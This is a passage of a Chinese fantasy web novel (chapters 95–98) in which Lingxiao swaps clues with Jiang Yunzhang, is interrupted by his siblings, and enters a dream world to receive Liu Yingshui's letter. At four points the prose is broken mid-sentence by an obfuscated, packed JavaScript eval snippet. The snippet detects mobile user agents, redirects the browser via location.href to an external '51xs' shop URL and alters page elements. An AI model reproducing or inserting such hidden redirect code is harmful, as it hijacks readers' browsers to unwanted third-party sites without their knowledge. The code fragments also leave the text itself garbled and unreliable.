不过梦中世界本就变化多端，出现任何幻象都有其相应的道理。度邪真君的现身也是如此，必然不可能是自己的感知出现错误。 那道模糊的身影远远冲着凌霄抬眸。她穿着洁白的长袍，遗世独立成为了昏暗世界中的唯一光彩。隔着遥远的世界与距离，度邪真君轻飘飘看了一眼已经被云雾彻底遮盖的王座。随后不知想到了什么，摇了摇头。 凌霄不想向度邪真君这位资深谜语人提问，因为肯定会得到现在的自己根本参不透的回答。与她心有灵犀的度邪真君脸上似乎一闪而过几丝笑意，再看过去时却又恢复了一贯以来仙风道骨所必须的淡薄眉眼。 明明都是相似的面容，度邪真君的淡薄与沉睡那一位的凌厉截然不同。倒是传递消息时，一个沉默不语一个只会说谜语，也算是殊途同归，都被凌霄纳入了不想沟通的范畴之内。她宁愿听度邪将军为自己鼓掌，都不想要从度邪真君嘴里听到新的谜语。毕竟一切归纳到一起，就又变成了玄之又玄的天机不可泄露。 度邪真君不用细想就已经感受到了凌霄对自己的嫌弃。她淡然一笑，长袖一挥，自己主动挥散了自己若隐若现的身影，化为白雾消失在了凌霄的视线之中。 与此同时，凌霄这个参不透到底想要传达什么信息的梦境也彻底破碎。独留凌霄一人在黑暗中睁开了双眼，迎上了被阳光照射得洁白无比的天花板。 凌霄决定不去想那些弯弯绕绕暂时还得不到具体线索的情报，换好了衣服以后赴约前往与江云章所约定的地点。 她敲门时刚敲响了一声，眼前的大门就立刻敞开，出现了主人紧张异常的面孔。 江云章心情放松神色如常时，这张俊秀的面庞好歹还能有些氤氲忧郁的气场令他看起来散发着生人勿进的冷气。然而一遇到凌霄后的自乱阵脚彻底打破的伪装的假面，凌霄甚至觉得对方已经紧张到握着门把的手都在颤抖。 她被迎进布置简约但令人舒适的画室：“我以为按照我们之前的相处经验，你已经不会再紧张了？” “怎么可能！”江云章一边急急忙忙带着凌霄来到放满了零食与水果的桌前，一边焦急地看了一眼自己的手机，“该紧张的时候还是会紧张的……等等，你之前看出来我很紧张了？” 这一次他与凌霄之间的进展已经彻底算得上是交情不错共享秘密的朋友，所以紧张之中又带着些许冷静不下来的激动。再加上又是第一次在现实社会这样具有真实性和归属感的世界与凌霄单独相处，还没有扫兴的同位体不断和自己吵架泼冷水说自己不要脸像一只狗，综合起来成功再次打破了江云章本来已经被拉高的承受阈值。 凌霄只是回以一笑，没有说话。 “……也是，我就算装得再像肯定也没有办法瞒过你，算了算了……”江云章自我安慰道，毕竟凌霄就是如此厉害。他注意到凌霄真在观察桌子上的东西，于是连忙介绍道：“我买了许多零食和水果，魂书那边的伙食实在是有点不像样，所以想着我们好不容易回来了能够吃点好的。我还点了云光最喜欢的那家奶茶的新品，外卖还有一会儿就到了。” 由于与度邪大侠相处的时间不算短，他在细心观察下早就已经清楚了凌霄的口味偏好，在选零食和水果的时候全部都是凌霄会喜欢的种类。原本还想自己亲自下厨做一顿大餐，但无法确定凌霄是否会留下来吃饭，所以只能选择了可以轻松带走的零食与水果。 “你还想的挺周到的，我确实有点想念正常饮食了。”凌霄随意在果盘里挑选了一个苹果，在品尝到一段时间不见的味道之后，满意地说道，“魂书族那边的饮食可真是遭罪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219884|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是啊，而且你不喜欢海鲜，我则是不能多吃海水区的产物。”江云章也为自己的同位体拒了一把辛酸泪，“那家伙基本上每天都在吃草。” 思及此处，他也为自己拿了一个苹果。 “你要是有什么想问的，就直接说吧。”凌霄决定开门见山，“反正我们都已经脱离了魂书族的环境，没有什么好隐藏的事情。” “冯舞清和你都说了些什么？”江云章的眼神里透露出了浓厚的担忧，“我也不是非要知情什么的，但我总觉得以她做事那么极端的风格，估计又在你耳边说了什么不中听的话影响了你的心情……我是想着要是说出来的话我也可以为你分担，如果你认为是你们个人之间的事情的话，不告诉我也没有关系。” 江云章绞尽脑汁想要让自己显得不那么刨根问题：“因为我很清楚你对冯师妹的感情很深，所以我很担、担心你。” 他能感觉到自己的耳朵正在发烫。 直面现实世界中的、真实的杜凌霄并说出肺腑之言对他来说依旧是个不小的挑战。光是意识到凌霄真坐在自己对面就已经足够让他感觉到自己正在心跳加快了。 凌霄饶有兴趣观察着他的表情。 依凭在同位体身上，甚至向自己摊牌来自现代社会时江云章都没有表现出如此的忐忑。对方好像一下子又将二人的相处模式拉回了不熟悉的阶段，可偏偏摆在凌霄面前的零食水果，包括还在路上的奶茶，都是江云章在足够了解凌霄之后的选择。不过这幅辗转不安的表情，倒是比个别同位体理智不在线后的出格举动要好多了。 凌霄心念一动。 而且他们现在处在现实社会，位于彼此的起点与锚点。她所掌控的身份与躯体彻彻底底属于自己，根本不需要思考多余的关系是否会为同位体带来烦恼。因为这本就是她能够肆意支配，属于自己的世界。 她看了一眼自己手中的鲜润欲滴的苹果。 不得不说，从一个耗费了大部分心神与情感的世界脱离，意识到自己并非独自前行，还有一个同伴正在关心着自己的状态，及时带来安慰与关怀的感觉，确实非常不错。连她自己都暂时还没有想起可以趁着回到现实世界的机会大吃一顿，犒劳自己的味觉。 江云章与她感同身受，能够理解与冯师妹分别后的不舍，以及在魂书世界时舌头收到的折磨。也能够理解为何与冯舞清相处时间最短她却依旧受到了冲击。 和刀赤城的守卫者不同，他全程都站在自己这一边，从未怀疑过她的用意。 这份心意确实弥足珍贵。让凌霄彻底从冯舞清的死亡之中抽离。 她并非积紫城的继承人，也不属于魂书族。她没有必要承担别人的人生，也问心无愧从未做出任何愧对冯舞清的事情。 她不需要理解冯舞清的选择，也不用独自背负光怪陆离的经历。 “多谢关心。”凌霄冲着江云章一笑，“其实也不是什么大事情。你想知道的话，我就告诉你吧。” 96. 095 “她怎么能那样说！”江云章尽力克制着自己的情绪，不想在凌霄面前流露出太过失控的一幕，“与我计较……我还想找她的麻烦呢！看在冯师妹和度邪大侠之间的情谊我当然会退让，可她对你和云光都做了什么！她有什么资格和我计较！我才是没有办法原谅她！” 江云章恶狠狠咬了一口自己手里的苹果，用来抑制自己拍桌子的欲望。他知道凌霄不喜欢情绪剧烈时无法控制自己行为举止的人，因此格外收敛，力图维持表面的平静。 已经彻底将掉在自己面前的魂书当做过往的凌霄早已经恢复了平静，因此反而成为了更沉得住气的一方。她捧着江云章为自己买的奶茶喝了一口，对自己口腔中弥漫开来的甜意感到了惬意。 “反正已经是过去式了，不用太过计较。”凌霄随意摆了摆手，“归根结底一切都是她自己的选择，明明可以戴罪立功，偏偏走了一条最偏激的道路……不过冯舞清就是那样的人，我也不可能改变什么。” “我还是有些气不过。她最后那些话全部都是在故意伤害你，还有挑拨你和冯师妹之间的关系，到最后都没表现出什么悔改的模样……”江云章为凌霄抱不平。 “她的事情就这样告一段落吧，我也没有继续讨论的心思了。”凌霄摇头中止了与冯舞清相关的话题，“我们还有更重要的情报需要相互交换。我很在意你之前和我提到的那个海水构成的世界。” 江云章能够理解凌霄不愿多谈，顺着她的意愿转移了话题：“我也确实觉得这个海水世界最让我觉得毛骨悚然十分在意。和你讨论过后我自己也思考了一番，现在想来，在那个世界我竟然从来没有听到你的姓名。” “我出了问题？”凌霄下意识皱起了眉头。 江云章点头：“没错。我之前经历过的世界，大都能在机缘巧合的传闻中听到你的名字，又或是兜兜转转有过一面之缘，能够确定你存在的痕迹。但是海水世界里，我却从未听闻你的名字，也没有找到你的存在。” “我不曾存在，那刘应水呢？”凌霄的脑海里思绪万千，继续提问。 “刘应水似乎也一样不存在，但也有可能是我等级太低没办法接触到。”江云章斟酌着言语，尽量追求严谨，“不过以我与你之间的缘分，还有我与他之间的孽缘，这种情况可以说是十分罕见。我认为很不寻常。意识到这个世界的奇怪之处后我就被送回了原位，难道这里面还有什么让你十分在意的事情吗？” “我与你一样经历过不少世界，中途遇到过一位能力高超已经触碰到规则的同位体，度邪真君。”凌霄决定与提供给自己线索的江云章分享情报。既然命运将契机与线索都交付到了江云章手中，那么她也必须要抓住这份信任，才能够顺利揭开藏在后面的谜题。 江云章聚精会神聆听着凌霄为自己解释原因。 “她主动向我暗示过，我经历这么多平行世界的原因，并且此行拥有目的与终点。但不曾和我明言，只让我自己去探索。”凌霄想起度邪真君文绉绉的用词就想要叹气，从那样言简意赅的言语中提取中心思想与暗示，实在是件令人感到麻烦的事情，“我最近经常梦到一位不认识的同位体端坐于王座之上，身后是代表着海水信仰的图腾。我认为这是命运给予我的提示，并且很可能与你提及的海水世界相关。” 凌霄打开自己的手机，调出相册将其放到了江云章面前：“我已经将那些陌生图腾画了下来，你看看，是不是和海水世界有些联系？” 江云章接过手机，目光一凝：“这是海水世界他们主城长水城的图腾！” 他一边说着一边放大了状似海浪又像是清风的纹样：“你看，他们的世界里没有海水相关的概念，也意识不到自己正生活在海里。因此长水城的图腾实际上被更改到看上去描绘得更像是清风一般，并且他们自己也一直这样解释。” 凌霄看着他不断放大细节仔细研究：“看来我的猜测十分正确，二者之间确实拥有关联。既然他们居住的地方被称为长水城，那么他们有城主一类的管理者吗？” “没有。”江云章力求尽善尽美做到最好，所以一边观察一边回答着凌霄的问题，“他们只有一个唯一神的信仰。据说教会每年都会降下神谕，从而管理长水城的居民们。我也曾对这位神好奇过，因为我的同位体是隶属于教会的底层守灵人。而按照我一贯以来的坏运气，我所出生的阵营一般都是糟糕的邪恶势力。” 江云章苦笑一声，继续说道：“但我没能谈查出什么有用的结果。这位神明甚至没有神像，用来祭祀祈祷的是代表着祂至高无上全知全能的金色圆球。而祂留下来的经书里也没有任何对祂人身时的身份描述，神秘到像是从石头缝里蹦出来的。” 确定完自己猜想后的江云章将手机交还给了凌霄：“由于我一贯以来待的邪|教都会和刘应水有所牵连，所以我当时也有搜寻过刘应水的痕迹。但很可惜我也没有找到什么有用的线索。在发现了长水城居民们的奇怪状态以后，我就被弹出了那个世界，并且再也没有回去过了。” 凌霄消化并分析着从江云章这里得到的有用消息：“我和刘应水两方的缺失确实不同寻常。而且既然你已经可以确定那个王座属于海水世界，那么那一位杜凌霄理应确确实实存在并陷入了沉睡。一定是发生了什么事情，才会导致那个世界变成了现今的奇怪模样。” 凌霄抬手理了理自己眼前的长发：“我之前所经历的世界，大多是即将遇到危险，于是我成为外援依凭在了同位体的身上，我们互帮互助共渡难关。海水世界却是接受了你但无法容纳我的状态，我与同位体之间的联系也是若有若无，说明她现在根本无法让我达成依凭的条件，甚至可能现在的情况就是灾厄结束后的大危机……不对，我还是忽略了什么细节……” 江云章听了凌霄的分析，表情也担忧地纠结在了一起。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233118|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快意识到了凌霄需要自己的情报，在激动的同时也就越发绞尽脑汁想要帮上忙：“也许我能够试着再去一次？虽然我从来没有试过，可有过一次经验说不定成功的可能性更大。既然海水世界这么重要的话，我现在就去画我还记得的景象，看看能不能给你提供什么线索！” 凌霄揉着自己的太阳穴：“那就拜托你了。我再想想自己究竟忽略了什么。” “包在我身上！”江云章立刻应声道，“毕竟我也就只有绘画最擅长了！” “擅长……对啊！”凌霄灵光一闪，终于找到了突破口，高兴地连说话音量都提高了不少：“我怎么连这个都忘记了！我要相信我自己才对啊！我杜凌霄怎么可能将世界变成天灾结束后普通民众流离失所失去躯体的情况！我肯定能够拯救他们！” 无比骄傲的言语在凌霄口中也变得稀疏平常了起来，她翘着腿有些散漫地坐在椅子上，此刻却由于令人移不开目光的自信，直接将普普通通的椅子变成了奢华无比的王座。而她则是王座之上散发着惊心动魄光彩的那个太阳。 江云章自然而然移不开自己的目光，被她眼神中的自信神采所吸引。即便凌霄本体的棕色眼眸远不如积紫城继承人的紫红色看上去艳丽夺目，但对于江云章而言，她原本的相貌才是最接近她灵魂，最牵引人心魂的天赐之作。 “杜凌霄绝对不会让情况变成最危险的局面，她一定还有留存的后手，所以才会牵扯到我身上。我只要等着她向我伸出手就可以了。”凌霄神采奕奕说道，激动之下握住了江云章因为注意力转移而无处安放的手，“我本来所需要做的就只是见招拆招，直面一切挡在我面前的难关。接下来的旅途会将我需要做的事情自动送到我手边，我只需要与她合作便好。” “我们肯定能将长水城的居民从不知名的信仰与错乱的意识之间拯救出来，对吧！”她望着面色通红的江云章，由于解决了一个大难题而心情愉悦，露出了爽朗的笑容，“真是谢谢你将线索提供给我了！” “不用谢不用谢，都是我活该、不是不是不是，都是我应该的。”江云章连忙说道，甚至不敢用力将自己的手收回来，只是轻轻回握着凌霄的手。皮肤相触带来的热度让他的心跳瞬间飙升，差点连话都说不明白了。 好在凌霄已经看出了她的不自在，干脆利落的收回了自己的手。只留下江云章握空之后眼眸中无法控制的遗憾之情。 “怎么？你不愿意我收回手？”凌霄调侃道。 “没有没有。”江云章脸上的热度已经快要将他整个人蒸发了。 他既为凌霄找到了线索而开心，又为凌霄不再受冯舞清影响而松了口气，还要为凌霄对自己的信任和感谢而激动，简直是手忙脚乱。这些复杂的情感纠缠在一起，彻底卷走了江云章全部的脑容量，使得他对上凌霄反应力都慢了半拍。连凌霄有些坏心眼的捉弄，在他眼里都变成了生动活泼，顾盼生辉。 97. 096 解决了心头大患的好心情使得凌霄终于有了种回到自己世界的轻松感，她正欲继续调侃江云章此刻手足无措的表现，然而突然响起来的门铃声却打断了她的话语。 “是谁来了？”凌霄疑惑地看向画室主人。 放在平日里，打断了自己和凌霄单独相处机会的人一定会被江云章在心里痛骂一顿。可偏偏他刚才手忙脚乱招架不住凌霄变得亲昵的发言，此时的敲门声插曲反而成为了江云章心中拯救自己于水火之中的天籁。 但是打搅了自己与凌霄单独相处到底还是让人厌烦。尤其是他记得自己根本就没有邀请除凌霄之外的任何人，更是为了独处的机会空出了将近三天的行程。 “我也不知道。我并没有邀请除了你以外的人。”江云章起身查看，万万没想到刚打开房门就看到了两个意料之外的身影。 江云光丝毫不见外，一开门就顺着门缝溜了进去：“江云章，我来找你玩啦！” 江云章刚在魂书世界见识了江家姐妹之间复杂的关系以及自己养妹疲于战斗的模样，因此见到脸上毫无阴霾的养妹也算是心情大好，希望对方能够一直保持着活力继续无忧无虑生活下去。再联想到凌霄此刻肯定也会很期待见到养妹，不请自来生出的些许负面情绪便瞬间烟消云散，希望江云光能够彻底将凌霄从过去的世界带离。 然而江云光的事情解决了，站在门前的另一个人就不那么让人高兴了。 他目光微闪，决定迅速关门将不速之客彻底赶走。然而早就预料到他反应的江冥蝉牢牢扒住了门缝，暗自用力绝不让江云章把自己拒之门外：“这世上可没有把哥哥关在门外的道理吧？小章？” “哪里的话。”江云章的脸上已经挂起了微笑，“只是你又不是云光，没必要对你退让吧？” 江冥蝉已经把半边身子挤进了门缝：“怎么，小光能进我就不能进？不过是个画室而已，你就这样当弟弟的？” “哪有在弟弟门前撒泼的哥哥？”江云章暗恨自己现实世界的身份毕竟只是画师，没有继承其余世界的武力值，单纯比拼力量自然只能和不要脸的江冥蝉拼个有来有往，根本没有办法碾压。 “凌霄！”早就已经快快乐乐跑进门的江云光往凌霄背上一扑，“我还以为冥蝉哥在和我开玩笑呢！原来你真的来江云章的画室了。真不公平，你怎么找他玩都不来找我玩啊！” 她完全是小孩子心性，成长环境也是单纯无比，根本没有必要理解弯弯绕绕的事情。看到凌霄在场只觉得自己受了冷落，双手环着凌霄的脖子撒娇：“你要补我一次才行！” 一直在留心屋内动静的江云章脸色一变，咬牙切齿却也只能压低了自己的声音：“我就知道你不安好心！你跟踪我？” “怎么可能，就你一个宅家画师那有什么跟踪的必要。”江冥蝉冲着弟弟翻了个白眼，“明明是我运气好遇到了凌霄。” 他正好在附近办事，想起来关系恶劣的弟弟似乎在附近有个画室。江冥蝉的原意是想要避免与晦气的家伙遇上，结果定睛凝神竟然看到了凌霄主动进了画室的大门，立刻坐不住了。撺掇着在家闲来无事的江云光一起找上门来。 虽然他不清楚凌霄找晦气的家伙到底是什么目的，但一定都是那个蠢货的问题。自己多年以来追求无果，没道理让连句告白都没胆量说的江云章成功接近凌霄。 本来就没有血缘关系，再加上又清楚对方是个潜在情敌。以江冥蝉肆意妄为的性格，自然不可能忍让。 “好啊，我补给你。”凌霄见到江云光自然十分高兴，笑着答应了对方的要求。 意识到自己两个哥哥还在门口磨蹭的江云光贴近了凌霄耳边，悄声说道：“你别理他们两个，都没安什么好心。最不需要看在我的面子上忍耐他们了。我和你才是一伙的。” 她和江冥蝉之间的关系全部由凌霄维系。知道江云光与凌霄关系要好之前，眼高于顶的江冥蝉除了对正统继承人江云天态度好一些以外，对没有血缘关系的江云章与心思单纯的江云光都没有什么好脸色。两家的关系本就十分生硬，因此他们这些血缘上的亲戚也可以说得上是连表面功夫都没有剩下。 江云章与江云光小时候没少暗地里凑在一起说江冥蝉的坏话。 凌霄出现后，江冥蝉就突然变身成为了好哥哥。意识到高调追求为凌霄所不喜以后转为了迂回政策，试图通过江云光在凌霄那里得到些许正面评价。见识到了江冥蝉变脸功夫的江家兄妹对他的嫌弃更上一层楼，力图让凌霄离这个张狂的家伙远一点。 不过，利用江冥蝉作为借口从姐姐眼皮底下溜出来找凌霄玩的机会，江云光才不会错过。 凌霄抬手摸了摸江云光的头：“我知道，我肯定跟你是一伙的。” 得到保证的江云光立马露出了灿烂的笑容。 门外僵持了半天的江家兄弟最终以江云章妥协作为了收场。江云章无法确定刀赤城江冥蝉那个刀子嘴豆腐心的举动对凌霄的影响有多大。 连他也不得不承认江冥蝉的同位体确实是一位为弟弟着想的好哥哥，并且以身试险陪着没有血缘关系的弟弟在墨水五区危险的环境里坚守了很长时间。凌霄对刀赤城江冥蝉的好评很可能作用到此刻的江冥蝉身上，如果他对这个家伙态度过于糟糕，很可能会让凌霄想起魂书族江家兄弟患难与共的情感，从而降低对自己的评价。 而且有这个没脸没皮的江冥蝉在场，才能够拉低凌霄心中对江冥蝉这个灵魂的评价。最好是能彻底将另外一个正常哥哥带来的滤镜清除得一干二净。 终于得以踏入画室大门的江冥蝉丝毫不清楚江云章的想法。他拍了拍自己的衣服以后，大摇大摆走近了凌霄：“打扰了。” 他认真的态度仿佛凌霄才是这个画室的真正主人一般。 画室的原主人在江冥蝉身后眼神幽幽：“你也知道打扰了啊。” 江冥蝉在凌霄面前还是会装作兄友弟恭的模样：“但我这不是瞧见你久居画室不利于心绪吗？人关久了都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245843|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给关傻了，看看你都给凌霄准备的什么东西。” 他话说到一半，自然还是没有忘记上眼药：“我是这样教你对待客人的吗？不好意思啊凌霄，不如我请你出去吃顿饭吧？这点东西实在是上不了台面。” 江云章其实才是更需要在凌霄面前装得兄友弟恭的那一位。他自己亲历了刀赤城江冥蝉对兄弟的维护，难免也受到了些许影响，稍微减弱了一些对这张嘴脸的厌恶之情。然而继续踩着他死线大鹏展翅的江冥蝉彻底粉碎了他刚刚升起的些许兄弟情，又回到了十分欠揍的嘴脸。 不过在凌霄面前还是要修饰一番的。所以他没有反驳江冥蝉的挤兑，只是略微有些委屈的垂下了眼眸。试图让凌霄注意到他和江冥蝉没能变得像刀赤城那样兄友弟恭全部都是江冥蝉的错误。 没有听到怨种弟弟反驳的江冥蝉根本懒得注意这个家伙又在唱什么大戏，自然是乘胜追击继续自己的计划：“凌霄，你有什么想吃的东西吗？” 凌霄只看了一眼就明白了江云章正在想什么。她对二人的机锋不感兴趣：“不用了，我也只是来江云章的画室看一看。过一会儿就准备回去的。” 江冥蝉虽然对凌霄的拒绝露出了遗憾的表情，但日积月累的追求让他十分清楚凌霄的性格。此刻的拒绝没有他回转的余地。说得再多想要改变凌霄的意愿，最终也不过是讨人嫌罢了。 江云光才没有两个哥哥那样七扭八歪的顾忌：“我知道一家新开的店，凌霄我们去吃吧！” 她毫不留情过河拆桥：“你们两个就算了。刚才进门都争了半天，我才不想和你们两个一起出门。” 凌霄已经得到了自己想要的情报，认为是时候转换心情，于是答应了江云光的邀请：“好啊。正好我和江云章也已经聊完了。” 她任由江云光挽上自己的手臂，亲亲热热坐在一处开始翻看起餐馆的消息。 在凌霄面前想来伪装完美的江冥蝉拿出手机就开始噼里啪啦打字，在对话框里将江云章从头到尾骂了一通发泄脾气。独处机会彻底被打搅的江云章也不甘示弱，针锋相对，抱着手机就开始嘲讽江冥蝉的虚伪。 凌霄没有分给闹腾的二人任何一个眼神。她计算好了时间之后，便和江云光一起前往餐厅，留下连接送任务都没能到手的江家兄弟互瞪。 “对不起，给你添麻烦了。”江云光有些愧疚的道歉，因为自己想出门玩，不小心让两个糟心的哥哥打扰了凌霄。 “不用在意。”凌霄心态良好，十分乐意见江云光一面，“反正他们也懂得分寸。自己去吵就好了。” “嗯。”江云光安心地点头，“他们敢纠缠你我就去找妈妈告状。看他们还敢不敢给你添麻烦。” 她打心底里没觉得自己两个糟心的哥哥配得上凌霄。尤其是喜欢孔雀开屏的江冥蝉。 “那就要拜托云光为我保驾护航了。”凌霄嘴角挂着笑意，望着一如既往活泼开朗的江云光。 果然现代社会，才是自己真正的家。 98. 097 凌霄没有预料到自己被拉入新世界的间隔再一次缩短。她在梦里睁开眼睛时，被脑海中炸开的信息量与自己身前的两个江云章所刺激，恍惚了一瞬间才恢复了正常的思维能力。 神情看上去更加淡漠，明显在用一种陌生目光打量她的云章脸上闪过一丝讶然：“真不愧是杜队长的同位体，接受能力实在是令人侧目。” 他的面容上混合着难以言喻的清冷，使得他母亲留存给他的特质也变得更加鲜明。无论是身上的白色大褂还是淡漠无言的气质，都与作为研究员的林语莲分外相似。 身上还穿着休闲装的另一位江云章一脸焦急，担忧着凌霄的状况：“凌霄，你还好吗？”他在凌霄出现之后便毫不犹豫远离了自己的同位体，靠近了凌霄身边担忧她的状态。 “还好。”凌霄抬手揉了揉自己的眉心，已经成功分辨出了自己眼前的两个灵魂，以及现在的情况。 他们正处在一片氤氲的雾气之中，除了正在交谈的三人之外空无一物。来自另一位杜凌霄的记忆适时为她解释了相应的概念：这是由梦构筑出的特殊独立空间，会依据主人的心象发生各种各样的变化。 她的同位体是专门负责解决梦境力量溢出的猎梦者，也是某一支小队的队长。将她带到这片虚无之中的林云章是登记在册的知名御梦者，能够自由使用梦境带给他的力量。由于他们现在正位于林云章的梦境世界，所以本应该依凭于林云章身体的江云章也因此独立出来，在梦境里成为了有别于对方的个体。 “直接说你的目的吧。”凌霄快速在自己的大脑里整理信息，很快就意识到他们的现状与梦境主人林云章脱不开关系。尤其是对方显然早有预备，并且清楚地知道她的真实身份。 林云章本人毫无异议点头：“那我就开门见山了。我遵循刘应水大人的旨意，前来协助你寻找他的踪迹。” 他早就知晓自己面前的凌霄与一脸傻气的同位体相同，来自异世界，并不清楚他们梦境中的各种常识。于是他接着自己的目的总述，开始言简意赅地介绍：“刘应水大人为了研究梦境力量，以身犯险，彻底放弃了自己在现实中的躯体，蜕变成为了纯粹的梦境居民。” 现实世界与梦境世界相互依凭达成了平衡，即便是御梦者也不过是在有限的范围之内行使自己的梦境权能，对现实世界的影响十分有限。但刘应水冲破了这个限度，直接施展梦境权能湮灭了自己的□□，将自己的灵魂提取出来放入了梦境世界，从某种意义上讲甚至可以说是转化为了概念上的存在。 纯粹的梦境居民都是单纯的概念化形，他们产自人类无穷无尽的欲望，成为大自然的倒影，是梦境世界里一股危险而强大的力量。由于它们代表着人类的造物与思维痕迹，因此刘应水率领的御梦者集团才产生了人造梦境居民的想法。 如果成功，那便代表着与人类文明融为一体。人类不灭，神魂不灭。可谓是另一种层面上的长生不老，跨越死亡。 “但刘应水大人的概念十分不可控，即便他也无法预料到自己成为梦境一部分之后的事情。我们在进行初步的寻找之后依旧没能找到刘应水大人的具体去向，除了他的尸体能够证明他确实成功梦境化以外，我们没能得到更加有效的线索。” 刘应水的尸体安安稳稳躺在房间中央，如同只是入梦自观，查看自己所掌控的梦境。然而死寂的心跳和不再呼吸的胸膛都证明了他的死亡。 林云章的表情波澜不惊，仿佛对自己的上司死亡毫不在意：“好在刘应水大人已经提前安排好了各种后事，包括与平行世界来客杜凌霄的对接方案。根据刘应水大人的说法，他曾得到某个存在的帮助，意识到了化为梦境居民的可行性，因此积极实行了方案。他和那位不知名人士的约定是将最后成功后的概念以及状态告知对方，这份约定需要你来从旁协助。” 林云章抬手点了点自己的太阳穴，凭空抽出了如同星辉一般闪耀的记忆丝线，它们互相缠绕交织在一起，最终在林云章的手中化为了一封信件。 “这是刘应水大人为你留下来的书信，里面留下了他想要对你传达的信息。经由梦境产生的记忆，我只是载体并没有查阅权限，你可以放心大胆的查看。其中的机密除了你和刘应水大人之外无人知晓。”林云章解释了一番信封的保密性。 凌霄拆开信封后，一目十行开始查看刘应水留下的信息。 对方所叙述的内容与林云章传达的毫无区别，只是更加详细些许。 刘应水毫不避讳谈及与自己达成交易的正是某一位杜凌霄。对方向他提供了一种可能，而他则是作为代替展示给对方结局。梦境世界的特殊性与主观性造成了数不尽的奇迹，导致连通平行世界对刘应水来说算不上什么新鲜事情。 以他的自我为中心，自然将梦境所连接的另一位杜凌霄当做了命运对自己的安排。他本就处在犹豫研究方向的时刻，于是顺水推舟答应了对方交给自己的可能性，兴致勃勃开始在自己的身上实验。 当然，他也很清楚对方必定是在自己身上有利可图，才会主动找上门。并在研究对方给予的资料时，将对方的目的猜了个八九不离十：另一位杜凌霄想要知道刘应水灵魂的形态，从而将他的同位体抹杀。 他得到的资料里清楚地记载了同位体刘应水成神的所有计划步骤。对方用一部分人类的性命作为代价，强行在现实世界构筑起只存在于人类集体意识中的幻象。随后通过真实的血肉献祭将自己也概念化扩大影响范围，将全世界的人类都笼罩在了自己的掌控之中。准备先吞噬全人类的□□再献祭灵魂，最终成为人类真正的神明。 现在这位邪神预备役已经走到了吞噬人类灵魂的步骤。 好无聊。 这是刘应水看完资料后的第一感受。 拿全人类陪葬以后，现实世界就只剩下一个人凝视全世界的尸山血海。光是想象那个场景就让人觉得无聊至极。 梦境世界里那么多人类的虚妄幻象与欲念具现化，导致刘应水见多识广，早就不会对这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266781|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小场面感到什么惊讶。反而是遗憾同位体不懂欣赏，就算成为了什么所谓的神，也依旧活在无趣的现实世界。 他对同位体的嫌弃让他决定积极帮助另一位杜凌霄干掉所谓的神明。比起登神，弑神听上去更加有趣也更加能够体现他的能力，所以他痛快地应下了与对方的交易。 邪神刘应水的本体依旧还是现实世界的活人，因此他即便拥有再强大的能量也无法兼顾另一重的海水世界，只能用概念化的灵魂幻象现身。汇聚了全世界灵魂的海水导致基本仅剩灵魂的居民们产生了异变，被刘应水吸收后仅剩的那一部分为了更好的适应新环境，纷纷转化成了海洋生物。另一位杜凌霄希望能够在海水世界击杀刘应水的灵魂，却苦于无法从上百亿的灵魂残片里筛选出刘应水的本体。 因此这位杜凌霄找到了生活在梦境世界中的刘应水，希望他能够凭借梦境世界的便利达到相似的条件，向她展示刘应水灵魂的姿态。 刘应水对同位体没有任何感情与想法，反而非常乐意弑神见证对方的陨落。在知晓自己灵魂概念化的姿态可能有些独特之处后，他特意将寻找自己这件任务交给了另一位杜凌霄指定的合约传达人——来自现代社会的凌霄。 另一位杜凌霄已经将十分清楚的时间信息告诉了刘应水，这使得他成功安排好了自己在现实世界死亡之后的所有事情，派林云章前来进行任务交接，完成约定。 凌霄很快看完了这篇详尽的解释。显然刘应水口中的合作对象应该就是她曾经在王座上见到过的陌生同位体。海水世界里灵魂状态的居民与概念化的神明实在是太过具有指向性，凌霄瞬间就意识到了刘应水的描述与自己这方信息的共同性。 果然自己的同位体已经安排好了一切，绝对不可能无动于衷，等待着整个世界的灵魂都破碎毁灭。 